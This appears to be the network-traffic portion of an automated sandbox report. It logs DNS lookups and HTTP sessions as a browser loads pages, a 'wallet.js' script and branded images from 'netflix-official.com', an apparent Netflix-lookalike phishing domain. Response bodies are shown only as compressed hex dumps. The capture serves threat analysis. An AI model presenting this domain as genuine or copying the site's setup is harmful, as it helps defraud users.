Feb 22, 2025 00:51:33.692050934 CET	50317	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:33.692588091 CET	49977	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:33.701641083 CET	53	50317	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:33.703944921 CET	53	49977	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:35.033947945 CET	63478	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:35.034123898 CET	62890	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:35.050049067 CET	53	63478	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:35.071774006 CET	53	62890	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:36.235646963 CET	56977	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:36.235793114 CET	53324	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:36.253547907 CET	53	53324	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:36.254106045 CET	53	56977	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:36.256334066 CET	49267	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:36.256513119 CET	57696	53	192.168.2.5	1.1.1.1
Feb 22, 2025 00:51:36.267627954 CET	53	57696	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:36.282609940 CET	53	49267	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:36.713200092 CET	53	62876	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:47.765894890 CET	53	50641	1.1.1.1	192.168.2.5
Feb 22, 2025 00:51:47.766766071 CET	53	51729	1.1.1.1	192.168.2.5
Feb 22, 2025 00:52:29.139991999 CET	53	54076	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 22, 2025 00:51:35.071830034 CET	192.168.2.5	1.1.1.1	c27f	(Port unreachable)	Destination Unreachable
Feb 22, 2025 00:51:36.254178047 CET	192.168.2.5	1.1.1.1	c20b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 22, 2025 00:51:33.692050934 CET	192.168.2.5	1.1.1.1	0xfa29	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:33.692588091 CET	192.168.2.5	1.1.1.1	0xc5d2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Feb 22, 2025 00:51:35.033947945 CET	192.168.2.5	1.1.1.1	0x1324	Standard query (0)	netflix-official.com	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:35.034123898 CET	192.168.2.5	1.1.1.1	0x6382	Standard query (0)	netflix-official.com	65	IN (0x0001)	false
Feb 22, 2025 00:51:36.235646963 CET	192.168.2.5	1.1.1.1	0xbc49	Standard query (0)	netflix-official.com	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:36.235793114 CET	192.168.2.5	1.1.1.1	0x4e96	Standard query (0)	netflix-official.com	65	IN (0x0001)	false
Feb 22, 2025 00:51:36.256334066 CET	192.168.2.5	1.1.1.1	0x406a	Standard query (0)	netflix-official.com	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:36.256513119 CET	192.168.2.5	1.1.1.1	0x8526	Standard query (0)	netflix-official.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 22, 2025 00:51:33.701641083 CET	1.1.1.1	192.168.2.5	0xfa29	No error (0)	www.google.com	172.217.18.4	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:33.703944921 CET	1.1.1.1	192.168.2.5	0xc5d2	No error (0)	www.google.com		65	IN (0x0001)	false
Feb 22, 2025 00:51:35.050049067 CET	1.1.1.1	192.168.2.5	0x1324	No error (0)	netflix-official.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:35.050049067 CET	1.1.1.1	192.168.2.5	0x1324	No error (0)	netflix-official.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:35.071774006 CET	1.1.1.1	192.168.2.5	0x6382	No error (0)	netflix-official.com		65	IN (0x0001)	false
Feb 22, 2025 00:51:36.253547907 CET	1.1.1.1	192.168.2.5	0x4e96	No error (0)	netflix-official.com		65	IN (0x0001)	false
Feb 22, 2025 00:51:36.254106045 CET	1.1.1.1	192.168.2.5	0xbc49	No error (0)	netflix-official.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:36.254106045 CET	1.1.1.1	192.168.2.5	0xbc49	No error (0)	netflix-official.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:36.267627954 CET	1.1.1.1	192.168.2.5	0x8526	No error (0)	netflix-official.com		65	IN (0x0001)	false
Feb 22, 2025 00:51:36.282609940 CET	1.1.1.1	192.168.2.5	0x406a	No error (0)	netflix-official.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 22, 2025 00:51:36.282609940 CET	1.1.1.1	192.168.2.5	0x406a	No error (0)	netflix-official.com	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

netflix-official.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	188.114.96.3	80	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Feb 22, 2025 00:51:35.072622061 CET	449	OUT	GET /e/authID=ek3Lf HTTP/1.1 Host: netflix-official.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:35.819344997 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Host: netflix-official.com X-Powered-By: PHP/8.1.2-1ubuntu2.20 cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mBLc0vzd2raBoHlPhzbFvaOihcRTniaL4fHgkbcKTQHD5AjG6kVjFwf2nL0NuwWMa9ahLexySYrwS6i3WoifBVShhpHoK%2FRXRRT2veceJ5GOZ775vhsbqBpcj2nVYprpH%2Fox6lTZeA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aa52ecae643f9-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1579&rtt_var=789&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=449&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 66 62 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 5b 73 db b8 b2 ee fb aa 9a ff 80 52 6a 52 93 9a 90 e6 5d 92 6f eb c4 4e 7c 89 2d 8f 57 ec 64 f6 e4 c5 05 91 10 05 8b 24 38 20 29 59 4e cd 7f df 05 52 92 25 db 21 43 b8 17 b2 1f 4e 25 b6 25 12 00 41 7c 40 77 a3 6f d8 1d e7 71 b4 ff cb bf 7e f9 d7 ee 98 e0 60 ff 97 7f ed c6 24 c7 68 9c e7 a9 46 fe 2e e8 74 af 73 c8 92 9c 24 b9 76 3d 4f 49 07 f9 d5 b7 bd 4e 4e ee f2 2d 51 7d 07 f9 63 cc 33 92 ef 7d be 3e d2 7a 9d 55 23 cb cb 9d 22 1f ad 5f 5f 6f fc 7f b4 cf ef b4 43 16 a7 38 a7 c3 68 bd fd d3 0f 7b 24 08 49 a7 ec 5d f5 6f 37 a7 79 44 f6 2f 48 3e 8a e8 dd ee 56 f5 75 71 af 6c 3a c1 31 d9 eb 4c 29 99 a5 8c e7 6b ad cd 68 90 8f f7 02 32 a5 3e d1 ca 2f 6f 69 42 73 8a 23 2d f3 71 44 f6 4c dd 78 1b d3 84 c6 45 bc 7e 05 df 6d 5e 59 76 67 37 a2 c9 04 e5 f3 94 2c 46 c2 cf b2 0e e2 24 da eb 64 f9 3c 22 d9 98 90 bc 83 c6 9c 8c f6 3a 7e 96 6d 25 2c 21 ba 28 b4 ff 50 bd 2a 3e 66 3c f7 8b 1c 51 9f 25 cb 1a 34 0e b7 92 91 b8 62 19 a6 a7 53 9f 95 c3 f7 50 Data Ascii: 2fb7}[sRjR]oN\|-Wd$8 )YNR%!CN%%A\|@woq~`$hF.ts$v=OINN-Q}c3}>zU#"__oC8h{$I]o7yD/H>Vuql:1L)kh2>/oiBs#-qDLxE~m^Yvg7,F$d<":~m%,!(P*>f<Q%4bSP
Feb 22, 2025 00:51:35.819375992 CET	1236	IN	Data Raw: 0b a7 69 44 b4 9c 15 fe 58 ab a9 98 26 e1 e2 81 99 cf 69 9a a3 8c fb 7b 9d db 6c 6b 86 a3 88 e4 fa 6d d6 d9 df dd aa ee ed 3f 2d 95 c5 8f 4b 88 32 e2 fd 1e bf fa be 3e 1a de 8c 69 10 90 e4 5b ca 32 9a 53 96 6c e3 61 c6 a2 22 27 3b 39 4b b7 35 d3 Data Ascii: iDX&i{lkm?-K2>i[2Sla"';9K50#hmGdY>ljkg'h2/o]";;C-KOpY+0vgo"g;/\|g\FNT4(8H--ESEN2-#
Feb 22, 2025 00:51:35.819386959 CET	1236	IN	Data Raw: 14 73 ec 07 39 65 73 25 7e b7 7a a0 57 9f 6e c4 84 fd b6 b6 38 ac b5 c5 b1 92 63 be d3 f1 f2 89 de f3 82 e2 f7 9f 58 ce fc ef 3d b2 5a 16 d2 cf 2c b7 ac 62 68 6e 86 45 9e 6f 8a 9e cf cf 38 c7 f2 ba 07 d6 72 c6 61 a7 57 cd b8 35 91 2c a2 e9 f6 b2 Data Ascii: s9es%~zWn8cX=Z,bhnEo8raW5,{CvNaZ`\4)ml-fIl5\jA4Id/KdraZ^;dW-y09k[a]agd=z4Jki,tXtYm
Feb 22, 2025 00:51:35.819499016 CET	1236	IN	Data Raw: 2f 62 02 20 db 28 b1 70 bc be 98 3c 7d 1b 99 dd ea f9 25 40 bd a9 55 8e 45 39 f5 5c ef 61 e6 2d 26 9e 69 b9 02 ce f3 b5 67 de 77 ca 05 71 44 a3 48 33 1d b1 da c5 62 d8 df dd 0a 85 3d 70 1a ee ef 0a 8e b1 5a 7e 3e 27 24 11 a4 bb 14 31 c9 5d de 79 Data Ascii: /b (p<}%@UE9\a-&igwqDH3b=pZ~>'$1]y[xA1VcR-e)uk12M&o,Z*hbY-T})$9c!@N'@_o [kwP'Y8A"PC))XHoQZC3TJK
Feb 22, 2025 00:51:35.819510937 CET	1236	IN	Data Raw: 28 88 24 14 24 0a 1b b6 7c 56 0b 5d 88 01 be 2a e0 c4 a9 03 45 e2 d4 f0 5e 1a 0a 7a 4f 6a 35 21 46 8b 55 61 59 7d 68 2c 3e c2 61 f1 51 11 16 b7 b2 58 24 b4 96 75 5b 56 ff 27 b2 0a 38 9d d4 81 22 9d d4 30 96 05 82 c7 45 00 27 d0 42 7b 24 1c c0 6d Data Ascii: ($$\|V]*E^zOj5!FUaY}h,>aQX$u[V'8"0E'B{$mm[quja1laxv;Z}prg?PdJXDgo#Up&E&!ZA>[^g8PddGZnxg=PdJZb878
Feb 22, 2025 00:51:35.819523096 CET	1236	IN	Data Raw: 28 14 f8 e9 10 c7 70 76 d6 63 45 76 d6 30 94 85 81 f0 24 23 f5 8e 6c 4e 1b 53 2b b4 41 e9 18 ce f9 f9 58 91 f3 73 38 97 05 e3 b6 61 6f e1 f6 db e4 7a 03 4f 9d 7b 0c 17 78 79 ac 28 f0 32 1c bd 08 8b 52 21 55 34 9c 46 e0 f6 5b ad 10 f0 3d c6 25 1c Data Ascii: (pvcEv0$#lNS+AXs8aozO{xy(2R!U4F[=%*PI%QDEG`]]\Hhci\(0&!V!Baq@ZV?pG$OU ,6kJoH$'pD#K2Lo]M&4w<ENhv
Feb 22, 2025 00:51:35.819683075 CET	1236	IN	Data Raw: 23 0e 65 e1 08 70 88 b3 49 bd 1f 8f d5 6a d3 01 ee 11 fd 17 1c 27 ff 4b 11 27 9f e7 b2 78 dc b2 3c af 97 74 db 38 44 5b e0 fa c2 01 9c be 70 a0 48 5f 18 cf 64 c1 88 f0 ac fe 0c c5 36 fa c2 be 07 2d e2 0e e0 f8 f8 40 11 1f 8f a7 d2 58 90 80 ce e6 Data Ascii: #epIj'K'x<t8D[pH_d6-@X60(sy0$9\|;>\|(\|#i,IT]8Icxw,!y8"8S=@#`B8@/Ild(-E>G ncisY8NXj
Feb 22, 2025 00:51:35.819695950 CET	1236	IN	Data Raw: 5e 2e 69 ec fd 54 c4 45 83 61 d1 69 93 5b 06 fc 94 8f 4f 70 0a fb 4f 8a 14 f6 5c 52 61 ff 69 86 93 a0 e1 28 3b e3 67 a6 cd f8 00 77 28 f0 07 45 87 02 13 c9 43 81 af f0 18 73 8c be 62 7f cc 82 a6 0c 01 ed 12 68 40 af 90 03 b8 ec 4b 07 8a f4 2b c3 Data Ascii: ^.iTEai[OpO\Rai(;gw(ECsbh@K+H+w"5O<.LQ$y0y( Si^+r^fx5KTr}%"4~"pNEw!vG(]/4I#9Ip0OP
Feb 22, 2025 00:51:35.819705963 CET	1236	IN	Data Raw: 87 29 b4 71 2d 71 a1 99 f8 67 b8 9d df 67 45 3b bf 42 72 e7 f7 39 6c 4e 93 e5 b5 71 71 87 66 e2 9f e1 72 c9 7e 56 94 4b b6 90 cc 25 fb 79 c2 31 4d 1a 9c db db a4 33 e9 43 13 a9 cf 70 86 f2 cf 8a 0c e5 85 a4 a1 fc 33 2f 9a 4f 50 68 73 12 12 3c 18 Data Ascii: )q-qggE;Br9lNqqfr~VK%y1M3Cp3/OPhs<pT-<_%J&<OTXJ5L'"*$"/%rd@~_)%OmS+8/\|{=$?3O:N$+gkM}:
Feb 22, 2025 00:51:35.819716930 CET	1236	IN	Data Raw: da 90 26 98 cf 37 16 3c 27 31 11 74 46 8b 05 3d 5e 5f 81 e5 5c 1f b2 bb 15 6c cb 05 b7 ac 32 58 4c b3 e1 1d 0d 6e 1e 2e de e4 bc 20 ab 75 56 7d f9 ce e0 ac b7 54 3e 8e 08 1e b0 bf be 92 9e 6f 7c 6d 7c 45 d1 df d7 1a da e4 44 4f 5e 52 2b 2b 68 39 Data Ascii: &7<'1tF=^_\l2XLn. uV}T>o\|m\|EDO^R++h91u[X,%QJ"11s2l'\|U2!]q r\|GoFN]X0e766+U\|\lUa&.!y[d#s].\|\|A?g
Feb 22, 2025 00:51:35.828093052 CET	764	IN	Data Raw: 55 9b 9e a7 9b 5e 17 5b ba 65 3b a8 fa 6d 94 ff 6c dd 44 46 24 6e 6a e2 17 32 45 bf 4c 4b ef 79 9e af 1b e2 aa 61 3b ba a9 e9 66 d5 31 d3 eb 0e 6c 1b 99 5d df 40 3d bd 67 3b 5a 57 b4 8e 4c 4f 33 c5 ef 2b 13 59 ae b8 8e 4c 64 76 51 af ba 29 3e 9a Data Ascii: U^[e;mlDF$nj2ELKya;f1l]@=g;ZWLO3+YLdvQ)>eadzbq2Q1i}{.=lG=M=9MWMi+,s4[7,QXw<-?Ew]]Y3{i!4wk]unZbM.[w
Feb 22, 2025 00:51:36.113081932 CET	340	OUT	GET /e/js/wallet.js HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://netflix-official.com/e/authID=ek3Lf Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:36.229691029 CET	1114	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:36 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: keep-alive Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1578 Last-Modified: Fri, 21 Feb 2025 23:25:18 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgvDz6du2WShP7pKZ%2FQ6z1iqYKDmSpzkhKojajiacAs%2BWLGmvNM4CerycQPsVsPRkYwrZ5x8vTaBus2R1tKYFEI7ued%2FSbfID3PrJOvd2gz%2Bl7fe3R37qa14sMzm%2BkAK8f4wLUXfog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 915aa533185143f9-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1568&rtt_var=234&sent=27&recv=9&lost=0&retrans=0&sent_bytes=31944&recv_bytes=789&delivery_rate=8038966&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 38 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 8b 3b 0e c2 30 10 05 fb 48 b9 c3 eb 5c 25 26 2d 51 ce 62 ad 82 0d 0b ce c6 b2 37 11 97 43 1c 89 2b 20 3e 0d 14 48 48 33 c5 14 b3 52 c6 b1 b8 a2 a4 83 39 a8 a6 b2 b5 56 bc 86 c8 e7 66 0e 81 47 a6 d8 8e f3 64 69 37 b1 98 1e 80 b5 78 06 12 89 8f 88 2c a7 ba aa ab 95 32 96 e2 b3 63 71 89 f6 de 51 f4 59 07 d3 99 fe b1 6c d0 e0 76 bd fc 06 6f 5f b4 e8 fe 9f 3e eb 8b 3b 90 60 5f f3 ef 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 8d;0H\%&-Qb7C+ >HH3R9VfGdi7x,2cqQYlvo_>;`_0
Feb 22, 2025 00:51:36.232629061 CET	462	OUT	GET /e/img/PL-en-20190422-popsignuptwoweeks-perspective_alpha_website_medium.jpg HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://netflix-official.com/e/authID=ek3Lf Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:36.845335007 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:36 GMT Content-Type: image/jpeg Content-Length: 203380 Connection: keep-alive Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Last-Modified: Fri, 21 Feb 2025 23:51:36 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jkuwHU9t9P7MqrB7XVz7HQ3OESVRUPnDoARYHO0EV6%2FGmBMLInyOmBp6hsPuLMuTJ17gZHEyGO9731EirywMNISDTSMrW0QY%2BEHtWasfYthxZKZryEjDlxkaorqJIXyqK5oHeozlow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 915aa533c95743f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&min_rtt=1535&rtt_var=184&sent=30&recv=12&lost=0&retrans=0&sent_bytes=33058&recv_bytes=1251&delivery_rate=8038966&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 01 04 10 00 11 00 11 00 11 00 11 00 12 00 11 00 13 00 15 00 15 00 13 00 1a 00 1c 00 19 00 1c 00 1a 00 26 00 23 00 20 00 20 00 23 00 26 00 3a 00 2a 00 2d 00 2a 00 2d 00 2a 00 3a 00 58 00 37 00 40 00 37 00 37 00 40 00 37 00 58 00 4e 00 5f 00 4d 00 48 00 4d 00 5f 00 4e 00 8c 00 6e 00 62 00 62 00 6e 00 8c 00 a2 00 88 00 81 00 88 00 a2 00 c5 00 b0 00 b0 00 c5 00 f8 00 eb 00 f8 01 43 01 43 01 b3 11 00 11 00 11 00 11 00 11 00 12 00 11 00 13 00 15 00 15 00 13 00 1a 00 1c 00 19 00 1c 00 1a 00 26 00 23 00 20 00 20 00 23 00 26 00 3a 00 2a 00 2d 00 2a 00 2d 00 2a 00 3a 00 58 00 37 00 40 00 37 00 37 00 40 00 37 00 58 00 4e 00 5f 00 4d 00 48 00 4d 00 5f 00 4e 00 8c 00 6e 00 62 00 62 00 6e 00 8c 00 a2 00 88 00 81 00 88 00 a2 00 c5 00 b0 00 b0 00 c5 00 f8 00 eb 00 f8 01 43 01 43 01 b3 ff c2 00 11 08 04 65 07 d0 03 01 22 00 02 11 01 03 11 01 ff c4 Data Ascii: JFIF&# #&:--:X7@77@7XN_MHM_NnbbnCC&# #&:--:X7@77@7XN_MHM_NnbbnCCe"
Feb 22, 2025 00:51:37.079138041 CET	407	OUT	GET /e/img/nficon2016.ico HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://netflix-official.com/e/authID=ek3Lf Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:37.194612026 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:37 GMT Content-Type: image/vnd.microsoft.icon Transfer-Encoding: chunked Connection: keep-alive Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2469 Last-Modified: Fri, 21 Feb 2025 23:10:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N6Ux6%2FtA4pysxBdqcfejGYNl88OLTG2OICI%2FGRSIC%2FgbQQPWEujkWjAsSoqOloDmOjOIaeg5A0LjazMV1A6HXC%2FGGPyXkXxxADcJPNT3EJxMpklQTF64muE8YxMiWcBA4jiZfNo0cw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 915aa539194d43f9-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2258&min_rtt=1535&rtt_var=531&sent=172&recv=25&lost=0&retrans=0&sent_bytes=237371&recv_bytes=1658&delivery_rate=57548857&cwnd=293&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 66 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 dd 9a 4d 6c 15 55 14 c7 ef 7c dc b9 f3 e4 cd 9d 8f 37 51 12 95 b2 24 31 91 8d 26 ae 14 8d 2e 8c 3b e3 c6 b8 30 ba 30 26 2e 74 a3 31 01 6d 4b c0 04 6c b1 80 7c 88 7c b6 d0 42 4b df 7b c5 28 86 8f a8 a0 2e b4 68 6c 44 6a e4 c3 37 33 5d b0 53 09 a6 26 85 63 ee 9d f7 ea eb c7 90 77 9e 85 ce bc 49 26 27 69 d2 d3 fb eb 39 ff 7b ce 3d 73 09 51 88 42 56 ad 22 84 90 e5 64 c5 13 84 dc 4d 08 59 41 08 11 3f ea 20 84 28 64 39 91 4f 07 59 b0 c7 a1 e5 3f 1d 5a fa d9 66 a5 e3 36 2b ed b6 8d 63 eb 38 2d bf 66 1b e5 e7 1c bd fc f8 12 3a bc 32 47 ca f7 13 32 68 13 d2 ae e2 ff c2 28 b5 49 c5 75 cd 4b cb 3c a3 f2 80 63 06 8f 16 8c f0 59 9f 45 af fa 66 d8 e1 9b c1 2e df ac 7c ea 99 bf 85 9e 71 fe 2f 72 87 1f db 18 01 cc eb d0 91 eb 8d f8 f5 cc 89 97 3d 16 fc 53 30 23 68 f4 Data Ascii: 5fcMlU\|7Q$1&.;00&.t1mKl\|\|BK{(.hlDj73]S&cwI&'i9{=sQBV"dMYA? (d9OY?Zf6+c8-f:2G2h(IuK<cYEf.\|q/r=S0#h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	188.114.96.3	80	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Feb 22, 2025 00:51:36.112653017 CET	355	OUT	GET /e/css/none.css HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Referer: http://netflix-official.com/e/authID=ek3Lf Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Feb 22, 2025 00:51:36.238796949 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:36 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2471 Last-Modified: Fri, 21 Feb 2025 23:10:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3TKtq75Rrtni4v0%2BEeG9lvmJOLqf2uIuqaQALx9NUowECQ1HuH58FpW3kWjfM%2F9z2OvckhMaSStVbDYiMjUTJFZv7%2FYVDNfcLdd42CxmPLCx4GAV9xXQ6qi66B1ndW0s817j%2BxOzGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 915aa5330e284259-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1870&min_rtt=1870&rtt_var=935&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=355&delivery_rate=0&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 65 33 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd 0b 93 eb b6 b1 20 fc 57 b8 76 9d b2 cf 8d a8 c3 87 28 90 33 d7 de 1c 27 ce 67 57 1d ef 4d e5 66 1f 77 63 6f 8a 22 21 89 1e 8a 54 48 4a 33 63 ad f6 b7 7f 05 80 0f 34 d8 84 88 39 e3 c4 9b 75 4d 72 3c 43 36 1a 60 a3 d1 e8 6e 34 ba 37 65 fa bc d8 37 87 fc b2 2d 8b c6 de c6 87 2c 7f be fb ec 1b 9a 9f 69 93 25 b1 f5 5f e8 89 7e b6 e8 ff 5e bc af b2 38 5f d4 71 51 db 35 ad b2 ed bd fd 48 37 0f 59 63 f3 f6 f5 a1 2c 9b 7d 56 ec ee e2 a2 c9 e2 3c 8b 6b 9a de db 87 f2 27 bb ac 9f 54 98 5d 15 3f d7 49 9c d3 fb 4d 9c 3c ec aa f2 54 a4 77 9f 6e 7d f6 73 9f 94 79 59 dd 7d ea fb fe bd 68 96 fd 44 ef dc f5 f1 e9 3e cd 2a 9a 34 59 59 dc e5 4d 75 dd bb 17 e9 fd 32 a0 07 b9 e9 21 ae 76 59 71 e7 58 8e b5 5c d1 83 40 f5 48 b3 dd be b9 5b 39 ce f5 b7 07 9a 66 b1 55 27 15 a5 85 15 17 a9 f5 f9 21 2b ec c7 2c 6d f6 77 Data Ascii: 4e3d Wv(3'gWMfwco"!THJ3c49uMr<C6`n47e7-,i%_~^8_qQ5H7Yc,}V<k'T]?IM<Twn}syY}hD>*4YYMu2!vYqX\@H[9fU'!+,mw
Feb 22, 2025 00:51:36.238832951 CET	1236	IN	Data Raw: 64 e5 1c 9f de 5e 40 0f de d2 65 5d c8 78 83 80 1e ae d7 65 52 16 4d 55 e6 5f c5 d5 e5 58 d6 19 1f 60 45 f3 b8 c9 ce 54 7e 6b 75 bf 0f 60 f1 a6 2e f3 53 43 ef 9b f2 78 e7 1f 9f ee 2b 3e 40 47 fa f2 e5 9a d0 c3 75 ef 2d f6 fe 62 bf 5a ec 83 8b f2 Data Ascii: d^@e]xeRMU_X`ET~ku`.SCx+>@Gu-bZ)$6,k)tQ7UY@8\|P:lj8nCeE[;K>(y]QV8W->UMneu^sh}}~-.K^b?.6{
Feb 22, 2025 00:51:36.238843918 CET	1236	IN	Data Raw: a7 f7 af be 8e 90 11 0c 63 17 0f ec 84 0d 22 47 3e 76 aa c1 a0 42 61 5f c3 f9 9b 7f 4e 4d 9b 8e 2b 98 88 ad cb 3c 4b ad 3a cb cf b4 1a 94 01 ef 38 4c cc d2 67 6a f5 72 ed f1 ff 30 1d fb 9a d3 1d 2d 52 8c b9 fa 95 0a a5 43 b7 a0 47 12 bc 61 7c de Data Ascii: c"G>vBa_NM+<K:8Lgjr0-RCGa\|IX-t%I&T*;U9wuMzYl'paPkg%-?mb'n>64MijGZ\(vhj_>06Jx9<l=]
